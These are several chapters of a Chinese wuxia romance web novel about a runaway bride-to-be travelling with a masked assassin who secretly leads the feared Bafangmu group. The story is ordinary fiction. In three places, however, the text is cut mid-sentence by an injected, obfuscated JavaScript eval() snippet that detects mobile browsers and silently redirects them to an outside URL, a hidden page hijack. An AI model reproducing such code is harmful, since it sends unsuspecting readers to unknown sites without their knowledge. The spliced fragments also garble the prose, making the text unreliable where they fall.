徐吟寒恍若未闻,慢条斯理替她接上后半句:“——八方幕?” “你也知道八方幕?” 明越咬咬牙,昂首道:“这么大的事我当然有所耳闻,怎么,你还在意这个?” “对啊,我在意。” 他歪了歪头,目光直勾勾盯着她,“但我感觉你更在意。” “我……”她额上一滴汗将落未落,默默将颤抖的指尖收回袖中,“传闻中八方幕杀人如麻、无恶不作,我当然要在意了。” 徐吟寒摩挲剑柄的手一顿,看了会儿明越被热气蒸得绯红的脸,重新合起眼靠坐回树边。 也没有再接她的话。 明越暗自松了口气。困意来袭,她慢悠悠打了个哈欠,用身上的披肩作被,将自己裹成了一个纯白的团子。 明日就能出城,不出半月就能到达眉州,然后她就可以…… 想起一片光明的未来,明越不禁翘起了嘴角。 她看向少年的侧颜,兴冲冲道:“十一,明日……” 徐吟寒却忽然抬手打住她。 明越立刻收声,在他熄灭火堆,周身完全陷入黑暗后,顺着他的视线,往右侧方树林深处望去。 但她用力瞪大眼睛看,也没看出个所以然来。 茫茫无边的黑暗里,她在渐渐失去方向感,只能听见少年低沉的声音:“看来。” “我们要连夜出城了。” * 他们所在的正是离城门不远的郊外,明越听到徐吟寒的话,立刻收拾东西整装待发。 她相信来自一个专业杀手的直觉与意识。 等他们来到城门附近,白日还欣欣向荣的临安,此刻街巷凌乱,百姓四散奔走,箭矢遍地。 明越间隙中拦住一个妇人,问:“这是出什么事了?” 妇人惊惧道:“是……是山上那群强盗,他们要攻城!” “什么强盗?” 她在临安待了有七八日,从未听说有什么强盗。 “是……” 妇人刚要答,一支利箭从天而降,从后直中她胸膛,鲜血淋漓。 方才还活生生的人,刹那间目眦欲裂,在明越面前直挺挺倒了下去。 周围尖叫四起,在明越被一幕吓到愣怔时,紧随其后的利箭遮天蔽日倾覆而下。 “就是八方幕——” “是八方幕要杀我们!” 明越仰面看着密密麻麻的箭雨,全身血液在此刻凝固。 利箭直指她面门,她后颈的衣领突然被拎起,向后一扯,她脖颈受缚,摇摇晃晃退后一步。 利箭便径直刺入了她身前不足一尺的地方。 “发呆只会死得更快。” 少年的声音响在她耳际。 他们走到一处暗巷里,徐吟寒松开她的衣领,看着城门的方向:“你在这儿待着,我去看看。” 他抽身要走,明越攥紧他的衣袖:“我要跟你一起去!” 这么危险的地方她怎么敢一个人待! 徐吟寒没拒绝:“也行。” “正好遇到意外,有人能给我挡箭。” 衣袖上那几根颤颤巍巍的手指松了开来。 明越当即抱膝蹲在角落里,垂着眼睫,声音闷闷的:“做梦。” * 城门外冷寂无声,尸体堆积如山。 但一看便知,这里经历过一场恶战。 马蹄声渐远,城门上数十火把猎猎燃烧,映照出来人的身影。 “主上。” 姜演从黑暗中走出,向徐吟寒拱手,“我知道您一定会来,便在这里等您。” 徐吟寒颔首,道:“他们是什么人?” 姜演:“我抓了个落单的,都问清楚了。” “这伙山贼自立龙虎门,常年盘踞在临安附近。他们说,八方幕是江湖第一杀手组织,八方幕已经出手挑衅皇室,那他们也应响应其后,助其一臂之力。” “……” 徐吟寒无言以对,“他们就没想过后果?” 姜演:“我也是这么问的!但他们说,八方幕都不在乎后果,那他们还在乎什么。” “还说,就算天塌下来,也有八方幕顶着……” “…………” * 徐吟寒走后,明越躲在暗巷中,大气都不敢出。 她无数次回想起妇人倒地的血腥一幕。 八方幕,又是八方幕。 她算是招惹到神鬼般的人物了! 这也是他们暂时还没找到她,若是有一日找到了,十一也不能护她周全,她便会比那个无辜的妇人死得更惨。 眼前逐渐模糊,明越拭去眼角的泪花,突然听到身旁窸窸窣窣的声音。 她吓了一跳,却听到熟悉的话音:“哭什么哭?” 老伯推开身上盖着的草料,慢吞吞坐起来。 明越一眼就认出了他:“老伯!” 老伯挪坐在她旁边:“小女娃,这不是出城的好时机吗?怎么还蹲在这儿哭?” 明越低眉:“我也不是那么着急……”她又想起什么,朝老伯伸出手,“还钱!” 老伯:“你这小女娃怎么能出尔反尔?难道贵月楼没接你的悬赏?” 接倒是接了,只是…… 接的人很一般。 “是不满接你悬赏的人?” 明越瞪大眼,道:“你怎么知道?” 老伯得意洋洋:“老夫神机妙算,当然知晓。只是,你可能不懂怎样和他们相处。” “贵月楼的杀手,身怀绝技,自视甚高,你若想让他们尽心竭力护你左右,要么让他们臣服,要么尽力讨好。” 老伯看了眼明越,叹气:“你也就只能讨好了。” 明越:“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040518|162502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 讨好只能算作是下下策,下下下策,下下下下策…… 她埋着头思考:“臣服应该也不难,我可是花了大价钱的,他想要钱又怎么敢置我于不顾。” 半晌没回应,明越疑惑抬眼,老伯的身影早已消失不见。 她回头望向巷外狭窄的街道,看见徐吟寒抱臂拎着剑站在那儿,颀长的身型背着光,影子被拉长到她蹲坐的位置。 那一刻,之前的种种不安都在转瞬间散去。明越立马起身奔向徐吟寒,双目都恢复了神采。 “十一。” 徐吟寒看着她清亮的双眸,“嗯”了声,道:“城门无人值守,现在就可以出去。” …… 百姓拖着大小包袱,都想趁着守城将士与龙虎门的人周旋的时间,赶紧逃出临安。 明越跟在徐吟寒的身后,摩肩擦踵艰难穿过人群。 明越好几次都要被人潮挤走,迈不动脚步时,见少年即将走远,她忙一伸手,勾紧了少年腰间的蹀躞带。 冰凉,皮革材质的,还有些滑手,这一勒将少年的腰腹收束得更加紧窄。 但好歹有些作用。 慌忙中,明越抬头看了眼徐吟寒的反应。 他只是微微偏了偏头,随后她的手腕就被一只骨节分明的大手钳制,再收紧力道—— 明越竟然从人群中挣脱了出来,大跨两步贴近少年身侧。 “跟紧。” 声音从头顶传来,近在咫尺,她几乎能听得到他的胸腔在震动。 似乎是做了多年杀手的缘故,他无论做什么,都像使剑那样干脆利落。 明越跟得跌跌撞撞,直到脱离人群之外,他松开她的手腕。 徐吟寒随意整理了番被明越扯歪的蹀躞带,再看她,“直接出去?” 明越刚回过神来,点点头:“出去。” 总算不用跟这人解释为什么她连出城都要避人耳目了。 手腕上被握出的红痕尚在,明越暗暗埋怨徐吟寒怎么下手这么没有轻重,一抬头看见城墙外遍地惨烈的尸首。 徐吟寒像是没看见般,也不绕着走,直接就从尸首上跨了过去。 明越倒吸一口冷气,后退几步,乖乖从周边绕行。 * 深夜霜寒露重,出城后继续赶路实在艰难。幸好徐吟寒发现了一处无人居住的棚屋,供他们歇脚。 里面不过一张床,两把椅子,剩下的东西都蒙着厚重的灰尘。 徐吟寒用火折子点了盏油灯,勉强能寻得见屋内的路。 “你睡哪里?” 徐吟寒提着灯依次照亮床塌与竹椅。 明越捏着鼻子扑扇着浑浊的空气,蹙眉看他:“真的要住在这儿?” 徐吟寒颔首,在床和竹椅间扫过好几眼,还是走向了竹椅:“那你就睡……” “过来帮我一下。” 话音未落,明越就已经站在了床边,指着脏兮兮的被褥道,“把这稍微弄干净点。” “……” 合着这姑娘一开始就没考虑过他的去处。 徐吟寒冷着脸与她一起抖了抖被褥的灰。 眼见再折腾也就这样了,明越扔下被褥,打着哈欠摆摆手道:“那你去吧,反正就住一晚,我还能忍。” 她坐在床榻上,见油灯印下的那道模糊的影子还没离开,诧异抬眼,“怎么了?” 徐吟寒没动。 明越忽然想到了什么般,不可置信地睁大眼睛:“你不会是想让我睡椅子吧?” “……” 她还在据理力争:“不是,我好歹也是你现在的主人,这点优待都没有吗?” 徐吟寒略一挑眉,道:“‘主人’?” 【你若想让他们尽心竭力护你左右,要么让他们臣服,要么……】 臣服? 明越眼睛一亮,从腰间掏出那个金色令牌送到他面前:“是,我是你的主人。” “十一,”她稍稍凑近,带着循循善诱的意味,轻声道,“叫我……” “‘主人’。” 5. 缚雪 夜风吹得老旧的屋门吱呀作响,整座棚屋都似摇摇欲坠。 少女的声音还回响在耳畔,徐吟寒不可思议地看了她一眼。 “怎么啦?”明越直回身,撇着嘴道,“不就是个称呼吗,还叫不出口?” “你这个‘主人’,能给我什么好处?” 徐吟寒似笑非笑盯着她,眼底似涌起了无垠暗潮。 明越垂眼思考了下:“好处……” “也许我会多给你赏钱?” “……” 少年沉默不语,明越又忽然意识到什么,蹙眉道:“不对,我为什么要给你好处?” 徐吟寒:“那你做梦。” 轻飘飘撂下一句后,他头也不回的走向窗边的竹椅。 油灯昏黄不明,仅有月光透窗漫进来,勾勒出少年单薄又冷寂的身形。 他背对着她坐下,再无动静。 “十一?” 明越试探着喊他,没有回应。 她在床沿坐了会儿,用目光仔细描摹着少年的背影,终于小声道:“给你一点好处,也不是不行。” “就今晚,”她顿了顿,拍拍床榻,“你睡这儿?” 徐吟寒还是没有任何声音。 明越猜他可能已经睡着了,便也不再等,翻身躺下。 但她一直对八方幕的事耿耿于怀。 十一明显不是那种为了钱不择手段的人,倘若真的遇到八方幕,他也不会为了她给的赏金而拼命。 既然如此,不妨告诉十一她真正的身份,好让十一提前有个准备,避开八方幕。 明越坐起身来,轻手轻脚往徐吟寒那边靠,稍一俯身便能看到他安静的睡颜。 忽视掉脸颊上那一道血痕,这人的容颜堪比某些大户人家里貌比潘安的贵公子。 明越愣了愣,又注意到那半扇银质面具。 若是将面具摘下,估计会更漂亮吧? 这样想着,她不由自主探出了手。 * 无边无际的山火有催山崩海之势,短短一瞬便吞噬了整座山头。 人们哭天抢地、求生不得。 只有徐吟寒站在混乱的人群中,巍然不动。 又是这个梦。 自从黄耆古寨被烧毁后,他做这个梦的次数越来越频繁。起先他还会惊慌失措,后来只觉得无趣。 尤其是梦里忽远忽近的嘶声谩骂,他也早已习以为常。 无非是指责他野心勃勃,祸乱天下。 细数这短短二十载,折在他手上的人命不计其数,这谩骂倒也有些道理,无可指摘。 他像往常一样安静的等梦醒来,周遭的声音却突然消失,大片明光烈焰也随之散去。 旭日初升,阳光柔柔洒下来,恍惚中仿佛有了酥酥痒痒的实感。 徐吟寒站在山顶上,有人拍了拍他的肩,他回过头,只见比他低一个头的少女仰着头看他,裙摆翩跹,乌发如瀑。 “十一。” 少女唇角扬起,脸颊上两颗小梨涡若隐若现。 …… 梦的画面就停在此刻。 直到风掠荒野,簌簌声取代了少女的附耳之言,徐吟寒才从怪异的梦境中清醒过来,垂眼缓了一会儿。 良久,他颇觉荒唐地扯了扯嘴角。 前面的血海滔天,都比不过最后这一幕来得可怖。 黄耆古寨被屠,八方幕的人各自逃命,多年积攒的钱银被朝廷充入国库,生活都是问题。 其余人不敢露面,只有徐吟寒多年隐居,即便是站在人群里都没人识得他是谁。 于是在黄耆山,他顺路抢到刀疤男的万金悬赏,大赚一笔;又在贵月楼,假冒已在执令时丧命的天字号高手十一,接下新的万金悬赏。 拿钱办事,他无所谓。 但他从明越口中听到“主人”二字后,汹涌的怒意顿时贯彻他的四肢百骸。他紧握手中剑鞘,仿佛已经看到剑刃刺入她的脖颈,血流如注。 而少女对自己的处境浑然不知,单纯到可怜。 敢这样支配他的人,放在从前,很难留下全尸。 更何况,她也如旁人般,对八方幕畏之如虎。对他这个所谓一手遮天的八方幕主公,更是深恶痛绝。 即使有些事并非他们所做,就如昨夜袭城的龙虎门,他甚至并不知情。 种种栽赃嫁祸,人言可畏,他也不屑一一追究。 等到了眉州,他拿到她指定的信物,他们分道扬镳,她永远也不会知晓,自己最为痛恨的人,竟然一直在她身边。 这世上所有的怨憎,都千篇一律。 …… 徐吟寒从竹椅上站起身来,隔窗看向泛白的天际。 和衣睡了一夜,他身上寒露深重,棚屋漆黑安静,一片死寂。 他站在暗夜留下的阴翳中,稍微收拾了下自己,拾步向外。 忽而屋门被推开,天光驱散寒雾,屋内顷刻间由黑夜变为明媚的白昼。 徐吟寒下意识叩紧剑柄。 门外,纯白的裙裾微荡,随后两根冰糖葫芦被一只纤细的手握着晃了晃,一张熟悉的面容出现:“十一!” 明越将冰糖葫芦朝他的方向递了递,眉眼弯弯地笑:“我给你买了早饭!” 冰糖葫芦圆润剔透,徐吟寒看了眼,不动声色放下按在剑柄上的手。 “我不饿。” 他与她擦肩而过,向门外走去。 明越连忙拉住他的衣袖:“你怎么会不饿呢?” 说着,她又试探性地拿近糖葫芦。 “昨晚是我不好,你辛苦烤的鱼都给我吃了,我都忘了你也一天没吃东西了。” 她带着歉意道,“这个是我早起去集市上买的,算作给你的补偿。” 甜丝丝的味道弥漫在空气中,沁人心脾。 明越看着徐吟寒低垂的眼,偷偷打量他的神情。 昨夜她本想叫醒徐吟寒,但所有动作都停在了指尖触碰到面具的那一刹那。 十一是个杀手,他杀过很多人,所以需要戴面具掩人耳目。 杀手会有怎样的打算,是真金白银都控制不住的。 万一十一为了皇室的悬赏令捉她回去,那可就前功尽弃了。 愣神之际,她的两根糖葫芦都到了徐吟寒手上。 明越看了看空荡荡的手,又看了看糖葫芦,脑子一热就伸手过去够:“有一根是我的!” 糖葫芦被徐吟寒轻松拿至她够不到的地方,他低着头,目光冷淡,一字一句道:“诚意?” 她顿住,又道:“两根你也吃不完……” “你都能吃两条鱼,我怎么就吃不完了?” 徐吟寒揶揄道。 明越气鼓鼓地背过身,小声:“可是我也很饿。” 徐吟寒看着那道纤瘦的身影,冷淡轻笑:“那就饿着吧。” * 徵州是去往眉州的必经之路,方才明越也是在徵州的县属市集上买的糖葫芦。 明越虽然心有不快,但两根糖葫芦都送出去了,她想,徐吟寒应该心情好一点了。 临安昨夜的动静早就传遍了周边各地,这里也有从临安逃过来的百姓。 明越几番打听,算是了解了大概情况。 临安周边的山上常年有一伙自称龙虎门的匪徒占山为王,本来很少生事端,自从太子妃被八方幕掳走这事传开,他们便时常骚扰临安百姓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040519|162502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到昨晚,他们与守城将士拼杀,占领临安。 百姓们都说,是八方幕在牵头指引他们这么做,从而达成八方幕要翻天覆地的野心。 明越听了,阵阵后怕涌上心头。 不会真让她把八方幕这头猛兽引出世了吧? 她盯住远处的徐吟寒,手心不知怎么,竟沁出一层细密的汗。 那这人就是她躲开八方幕追杀的唯一希望了! …… 为了尽快赶到眉州,明越给银钱让徐吟寒去市集买马,她在路边等,遥遥见他挑了两匹品相上乘的骏马,店家一张口就是五根手指的价钱。 而徐吟寒,也很爽快的给了。 明越攥紧了拳头。 他!居然!不还价! 就因为用的不是他的钱吗!? 看店家一脸谄媚地收下那个鼓鼓囊囊的荷包,明越有种亏了十万金的感觉。 她差点就想上去跟店家理论几句,但一想到待会儿要和徐吟寒说的话,还是按耐住了那股冲动劲儿。 小不忍则乱大谋。 徐吟寒牵着马走过来,明越强笑着过去奉承他:“你挑的马一定能跑得很快!” 少年睨了眼她,掠过她身侧。 “……” 这个她也忍了。 有了马赶路便能快些。一路牵着两匹马走过热闹的市集,到了城郊的空地,徐吟寒轻松翻身上马,拉起缰绳要走时,听见身后一道微弱的声音:“十一……” 他回头,发现明越一脚踩着马镫,一手扯着缰绳,姿势僵硬,面露尴尬。 “你快过来扶我一下。” 说罢,明越耳尖都有些红。 只顾着买马,忘记让徐吟寒挑一匹她能骑上去的马了。 “呦呦呦,这是从哪来的小娘子啊?” 一道混不吝的男声由远及近,明越看过去,见四五个扛着大刀的男子正嬉笑着走近,粗布麻衣,山匪打扮。 领头男子上下打量着明越与她身后的马,扔给明越一个铜板,道:“这马我们要了,我们可是给钱了啊,让开让开!” 一个铜板就想买走这么好的马,与当街抢劫有什么分别! 明越自然不干,她赶忙看向徐吟寒,没想到那人就站在马旁边,和马一起静静看着她这边。 冷眼旁观是吧? 明越一脚踢飞地上的铜板,牵着马就往徐吟寒那边走。 那伙人也发现了徐吟寒的存在,几人议论着:“张大哥,一个女的也就罢了,但那男的看起来不大好惹啊,还戴着面具,神神秘秘的,有古怪……” 被称为张大哥的领头男子道:“去去去,戴个面具就不好惹了?看着就弱不禁风白脸书生一个,他们这么好的马,咱要是弄到手可省不少银子!” “再说了,咱们五个人,还怕他一个不成?” “……” 几人推推搡搡间,明越已经把两匹马的缰绳系在了一起。 等几人走近,明越趾高气扬道:“把你刚才说的话再说一遍来听听。” 张大哥:“嘿,你这小娘子!老子就算再说十遍,也就是一个铜板的事,多了可没有了啊!” 明越指了指徐吟寒:“你知道他是谁吗?” 张大哥看过去一眼:“他谁啊?” “他,人称江湖第一无情手,神憎鬼厌,摧花夺命!” “他,三十年风雨飘摇,上过前线战场,下过牢狱之灾!” “他,就是——” 五人:“就是……?” 明越压低声音,郑重其事:“龙虎门一把手……” “石!大!虎!” 徐吟寒:“…………” 6. 缚雪 “龙虎门?就是那个一夜之间攻下临安的龙虎门?” 五人惊呼,都有些警惕地看向徐吟寒。 “怎么,这就怕了?” 明越双手叉腰,见他们这般惊慌,愈加盛气凌人。 张大哥拧眉反问:“我怎么从来没听说过……龙虎门的一把手叫这个名字?” 闻言,徐吟寒也看向旁边的少女。 她自始至终都维持着这个略显僵硬的姿势,听见男子这话,弯翘的长睫微不可察地颤动了下。 “我们一把手的名字岂容你这种无名小卒置喙?”明越扬声道,“还不速速报上名来!” 五人面面相觑,背过身去围作一团,小声密谋。 一人道:“我记得有人说,龙虎门的一把手脸上有道疤,那男子刚好就有,莫非还真是他们?” 他们远远打量着牵着两匹马的一男一女。 男子未被面具遮住的那半边脸,有一道结痂的血痕,神情淡漠,看上去还真不好惹。 另一人愤恨道:“咱们与龙虎门同为山匪,向来不和,就算这小子真是一把手又如何?” 张大哥呵斥:“冷静!今时不同往日,龙虎门胆敢攻城,说不准早已投靠了那位……” “街巷传言,他们追随的是八方幕!” “……” 七嘴八舌了好一会儿,张大哥抬手打住:“还是得试探试探。” 他扬首上前,不屑道:“龙虎门算什么,还不曾是我们飞云帮的手下败将?三月前门派一战你龙虎门一败涂地,洗劫临安、投奔八方幕就以为自己敢和我飞云帮一较高下了?” “告诉你们,只要我们飞云帮还在一日,徵州,就还是我们飞云帮的天下!” “除非是八方幕主公亲至,否则我们还真就没怕过谁!” 明越轻嗤:“你们可别吹牛了!” 硬着头皮说完这句,她不禁轻轻咽了口唾沫。 难怪这五人如此横行霸道,敢情就是徵州的地头蛇,连龙虎门都不曾退避。 她用手肘戳戳身旁一直默不作声的徐吟寒,稍稍靠过去,在那五人没注意的时候,轻声:“你再不努力一下,我们今天都难逃一死。” 徐吟寒垂眼看她纤细的手臂:“我都已经是龙虎门的一把手了,还要怎么努力?” 明越:“你不是说自己最厉害吗,到了证明实力的时候了。” 她的语气又带着几分真切的担忧:“不过他们看起来都好厉害啊,还是五个人,你能打得过吗?” 徐吟寒的目光慢慢从她的臂弯移到她白皙的脸庞上。 明越没得到回应,掀起眼时,两人的视线撞在一起。 徐吟寒哂笑:“你快死的时候,我自会出手。” “……” 看起来还是想束手旁观,昨夜真是把他气得不轻啊。 明越有些气恼,转而一想,他一个人打五个人还是太冒险了,也不能让他真为了钱财搭上性命。 五人见他们在说话,立马道:“喂,干什么呢,要么就乖乖把马给我们,要么……就比武决斗!” 明越瞳孔一震。 怎么就扯到决斗了! “这就怕了?”张大哥贼笑,“怕比上次在衍回寺输得更惨?” “衍回寺?” “知道你们龙虎门听不得衍回寺,但总得接受失败啊,你说……” “就在衍回寺!” 明越嘴角翘起来,说话间,冲徐吟寒眨了眨眼,“我们决斗。” * 正午日光明媚,勾勒出树林深处一座红墙庙宇的金色轮廓。 三三两两的和尚正在洒扫大院,一十岁模样的小和尚怀中抱着几份案卷,推开寺庙大门,跑向内院的丈室。 “住持!住持!” 他用肩膀撞开门,奔向一个头发花白的古稀老人,将案卷一股脑摊在他面前的桌案上。 “慢些,灵澈,先喝口水。” 无尘住持看着对面气喘吁吁的男孩,摇了摇头,提起手边的茶壶倒了杯茶给他。 灵澈接过茶仰头一饮而尽,胡乱用衣袖拭去唇畔的水渍,开口:“住持,临安……临安有消息传来了。” 无尘住持一顿,清瘦的手颤抖着翻开案卷。 “这些都是徵州驿站送来的,”灵澈缓过来,帮他一起铺展案卷,“但是,您要找的究竟是怎样的人呀?竟然用得到这么多暗探。” 无尘住持慢慢辨认案卷上的字迹,闻言回道:“我不是在找人。” “那您怎么……” 无尘住持再没答话,灵澈也识趣地不再过问。 衍回寺虽不是徵州香火旺盛的寺庙,但却有一个潜藏多年的秘密。 无尘住持在衍回寺三十年有余,曾收留过许多被亲生父母弃养的孤儿,这些孤儿认无尘住持为亲人,认衍回寺为家,有人做了暗探的活计,长此以往,衍回寺也就不再只是单纯的寺庙。 ——而是江湖暗探的交接地。 这是寺庙中普通和尚也心照不宣的秘密。 这些暗探为无尘住持马首是瞻,但灵澈来寺里三年,还是头一次见无尘住持动用暗探。 只为了寻一个虚无缥缈的人,连他们都不能告知。 正此时,又一和尚冲了进来,表情焦急:“住持,飞云帮那些人又来了,这次好像是带了龙虎门的人一起来的!” 听到“飞云帮”,灵澈惊惧道:“飞云帮和龙虎门?!” 这俩都是徵州周边大名鼎鼎的匪帮,时不时就会骚扰一下衍回寺,要些香火钱。 无尘住持大度,当是接济他们接济惯了,他们便来得更肆无忌惮。 最近一次,是在三月前,飞云帮和龙虎门相约在衍回寺比武。 毁了整个院子不说,还打伤了无辜的僧人。也不知他们是如何收买府衙的,官兵对他们也是轻拿轻放,赔了些银钱就算作了事。 要不是无尘住持不允,不然寺中的暗探早就给他们一窝端了。 可这次他们来得也真是时候,寺庙里的暗探都为住持打探消息去了,没办法再像三月前那样将他们赶走。 灵澈惴惴不安看着无尘住持。 相比他们的慌乱,无尘住持仅是淡然合起案卷,对着桌案叹了口气。 而后道:“灵济从后门去县衙报官。灵澈,你跟我去前院。” 灵济:“可是住持,报官还有用吗……” 无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040520|162502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尘住持还没说话,门外又是一道高呼:“住持,龙虎门的人晕倒了!” “好像……好像快不行了!” * 远远瞧见衍回寺那副金色的牌匾,明越一边牵着马,一边与徐吟寒悄声说话。 “待会儿就按计划行事,你上去跟他们切磋几下,实在撑不住就躺地下装死,然后衍回寺的人就会出来把咱们救回去,事情自然迎刃而解。” “……” “怎么了,又没要你真的跟他们打,”明越细眉轻拢,略显不满,“你别说你连两招都不愿出手。” 徐吟寒点了下头:“是啊。”他眼神依旧冰冷,“我说了,保你不死。” 明越:“你就非要等到我被五个大汉揍到鼻青脸肿、断手断脚,躺地下只剩一口气的时候才肯出手吗?” 徐吟寒思考了会儿:“真到了那个地步——” “?” “可能也没必要出手了。” “……” 明越实在没办法好声好气跟他讲什么了。 到了衍回寺紧闭的庙门前,五人竟直接踹开了庙门,大摇大摆走了进去。 僧人见了他们,便都四散避开,徒留一个空阔的院子。 张大哥主动上前来,活动着脑袋与四肢,冲明越和徐吟寒勾勾手指:“来!” 明越最后看了眼徐吟寒,见他依然没有丝毫动容,咬咬牙上前一步。 见是她,张大哥愣了愣,道:“你一个女的凑什么热闹?” “咯噔”一声响,明越学着他的样子,拱手叩动骨节。 “治你还需要我家一把手?你先赢过我再说吧。” 张大哥冷笑:“那就来吧。” 飞云帮不同一般匪帮,练得是赤膊掌力。他挽起袖口,两只粗壮的臂膀作圆弧状,掌心向前一抻。 “接招……” “啊!” 明越忽然猛咳几声,双手紧按胸口,跌跌撞撞向后倒去。 还未反应过来,徐吟寒被她猛地一撞。 明越一头扎进他怀里,纤瘦的肩膀颤抖着,攥住他胸前衣裳的同时,脸上露出痛苦万分的神情。 “我、我不行了……” “?” 徐吟寒下意识躲开她的身子,双手举在两侧,低眼看倚靠在他身上的少女。 对面的张大哥看了看自己的手掌:“不是,我这还没……” “他这一掌打中了我,好痛苦……” 那只手意有所指般扯了扯徐吟寒的外衫。 “这口气咽下去,我可能就要死了……” 被她紧靠着的少年不动如山,她不死心,继续扯。 “可能就要死了……” 再扯。 “死了……” “……” 攥着衣料的指节泛起白,明越忍无可忍,一双圆眼倏然睁开,盯住少年漠然的眼。 你倒是出手啊!!!! 但还没等徐吟寒再有何动作,她踉跄几步,听得周遭的声音忽远忽近,模模糊糊。 两眼一闭,她脱力栽倒下去,意识全部消散之前,她感觉到的只有身下冰凉的地面,和自她腕心传来的那股稀薄暖意。 7. 缚雪 灵澈与无尘住持赶来时,刚好看到那一幕。 众僧人与飞云帮的五人团团围住躺倒在地的蒙面少女,而少女的身旁蹲着一个面具少年,正捉着她纤细的手腕,指腹在腕心轻轻一按。 无尘住持略懂医术,立即叫人将少女抬进最近的寮房。少年便也默不作声站在一旁,不知在想些什么。 无尘住持看诊时不喜人多,灵澈将寮房的门窗都关紧,像往常一样在门外等吩咐,瞥见那个少年独身一人倚在廊庑的檐柱上。 身形半隐在黑暗中,身量高大,挺拔如松。 灵澈想,这人与寮房内昏迷的女施主同为龙虎门之人,此刻该是心焦难耐吧。 龙虎门虽为匪寇,倒是挺重情义的。 不像飞云帮,他们见伤到龙虎门的人,竟都开始吵闹着推卸责任,逃也似地出了衍回寺。 等了约莫一刻钟,门内才传出无尘住持沙哑的声音:“灵澈,拿着我开的方子去熬药。” 灵澈连忙应是,小心翼翼推开门走进去。 无尘住持刚写好的方子递在他手上,他不经意间扫到床榻上的少女。 当是为了看诊方便,少女完整一张脸半露出来,隔着朦胧的床幔,他只能看见她皎白如月的脸庞轮廓。 灵澈不敢多看,揣好方子向外退去,无尘住持突然喊住他:“小火慢煎,必要时刻看顾。” 紧蹙双眉之下,是一双沧桑泛红的眼。 灵澈可没见过无尘住持这幅模样,但也没多想,乖乖听住持的话去办了。 * 朝都明府。 抱霜院依然是大婚前日的装点,经过十五日的风吹雨打,早已凌乱不堪。 书房里,明宗源一把掀翻堆满卷轴的书案,怒气冲天。 “为什么这么久都没能找到那丫头的画像!” 候在书房内的下人噤若寒蝉,无人敢言。 只有银烛颤声道:“今年小姐的十七岁生辰,本来请了画师来给小姐画像,是老爷您说小姐马上就要嫁人了没有必要,才把画师赶走的……” 明宗源怒视:“你的意思是怪我?” “要是她不招惹那什么八方幕,明家能落到今天如此境地?” “四年前肯把她接来朝都享清福,我对她已经够仁慈了吧?现在看来还不如把她扔在徵州让她自生自灭!” “死了正好,死了干净!她早就该……” “老爷!” 有一下人敲门打断他,“羽林卫统领陆绥陆大人请见!” 明宗源深呼一口气,摆摆手道:“说我在忙,不见。” “老爷,陆大人说,今天务必寻到大小姐的画像。还有,羽林卫已经作出了八方幕主公的画像,马上就会派人在各地仔细搜寻。” 明宗源:“徐吟寒的身份乃是绝密,他们是如何作出的?” 下人还未解释,模糊听到一声声“陆大人”,紧接着书房的门被大力推开。 一青袍侍卫提剑走进,在散落的桌案前顿住脚步,足尖一抬,迈了过去。 明宗源抬头看着径直压近的那人,脸色比之前缓和了些:“陆大人辛苦,有什么事让下人通传一声就行了,怎好劳烦你亲自……” “明家主。” 陆绥沉声道,“明小姐不只是明家的女儿,更是我们殿下的未来新妇,是大梁皇室的太子妃。” 皇室姻亲,明宗源不敢反驳,道:“小女失踪,我身为亲父,当然也很着急……” “我等定会全力以赴寻回明小姐,希望明家能尽快给我们明小姐的画像。” “若耽误了时间,致使明小姐遇难,”陆绥按住腰间剑鞘,缓声继续,“明家必当难辞其咎。” * 戌时已至,明越还未醒来。 无尘住持安排灵澈与灵济交替守在明越所在的寮房内,不许任何人进入。 漏壶的声音清脆而有序,烛光昏黄明灭,安静如斯。 灵澈趴在茶桌上昏昏欲睡,忽而听到一道绵软的闷哼声,马上清醒过来,探头看向飘动的床幔。 少女依旧紧闭着眼,但似乎做了什么噩梦,在咿咿呀呀地挣扎。 灵澈忙找来无尘住持。几人紧张兮兮围在床榻边,生怕少女出了什么意外。 无尘住持还在把脉,那只微蜷的手一颤,榻上人慢慢睁开了眼。 明越呆呆看着逐渐清晰的帐顶,好一会儿才看向床边的无尘住持。 她张了张嘴,愈说什么,但喉间干涩发痛,挤不出一个完整的字。 无尘住持见她醒来又惊又喜,凑前温声问:“你说什么?” “我……”明越努力说话,“我的……” “什么?” “我的马呢……” “……” 不明不白昏睡许久,一醒来第一句话竟是关心自己的两匹马。 灵澈有些想笑,但碍于住持还是憋了回去,解释道:“飞云帮的人哪还顾得上带马啊,现在估计已经逃去百里外了。施主的马就在我们衍回寺的马厩里,吃着上好的草料……” “灵澈,”无尘住持指了指桌上热过三趟的药碗,道,“把药拿来。” 灵澈“哦”了声,乖乖去端药。 